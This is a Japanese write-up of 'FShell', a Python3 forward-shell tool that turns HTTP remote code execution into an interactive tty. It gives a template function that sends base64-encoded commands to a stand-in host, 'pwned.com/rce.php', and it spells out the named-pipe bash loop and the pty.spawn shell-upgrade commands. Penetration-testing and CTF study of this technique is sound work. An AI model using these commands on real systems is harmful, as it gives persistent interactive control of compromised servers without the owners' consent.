
私のpython3によるForward Shellの実装
FShellはForward Shellの私の実装です。ステートレスプロトコル(例:HTTP)を介したリモートコード実行を使って、インタラクティブなttyを取得するように設計されています。
ただし、欠点もあります。
リクエスト頻度は BEACONING_DELAY 変数を変更することで変更できます。
Python3 & ライブラリ:
現時点ではLinuxのみがサポートされており、リモートシステム上で以下の基本的なコマンド/ツールが必要です:
WRITABLE_FOLDER 変数を変更してください。/tmp に書き込みできない場合や、より良い場所がある場合(/dev/shm を推奨)は変更します。
リモートコード実行を行うために、必ず execute 関数を再定義する必要があります:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

コンセプトはとてもシンプルです。
まず、リモートシステム上に名前付きパイプを作成する必要があります。
これはシェルにコマンドを送信するために使用されます
mkfifo /tmp/input。
次に、名前付きパイプを常に読み取り、その内容をインタラクティブなbashプロセスに送信し、stdinとstderrを出力ファイルに送信するbashループを作成します。
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[名前付きパイプの読み取り] -> [名前付きパイプの内容を実行] -> [stdin/stderrを出力ファイルに送信] -> ['-f' tailオプションにより名前付きパイプの読み取りに戻る]
次の部分は、シェル出力を取得するために cat /tmp/output を定期的に実行するpythonスレッドを起動することです。
スレッドがデータを見つけた場合、echo '' > /tmp/output を使用して出力ファイルの内容をクリアします。
ヒント: 存在しないファイルに対するエラーログを避けるために、スクリプトは'GetOutput'スレッドを開始する前に'id'コマンドを実行して出力ファイルを作成します。
最後のステップの1つは、pythonスクリプトからユーザー入力を取得し、それを名前付きパイプに送信することです。echo USERCMD > /tmp/input
そして、リモートのインタラクティブな tty を戻すための 最後のトリック は、'upgrade_shell'コマンドです。
このコマンドは python -c 'import pty;pty.spawn("/bin/bash")' (といくつかのexportとエイリアス)を実行して、現在のプロセス(名前付きパイプループで使用)に実際のttyを生成します。
@ippsec に感謝します。この動画 Stratosphere HTB Write Up を見るまで、このようなことが可能だとは知りませんでした!
楽しんでいただければ幸いです!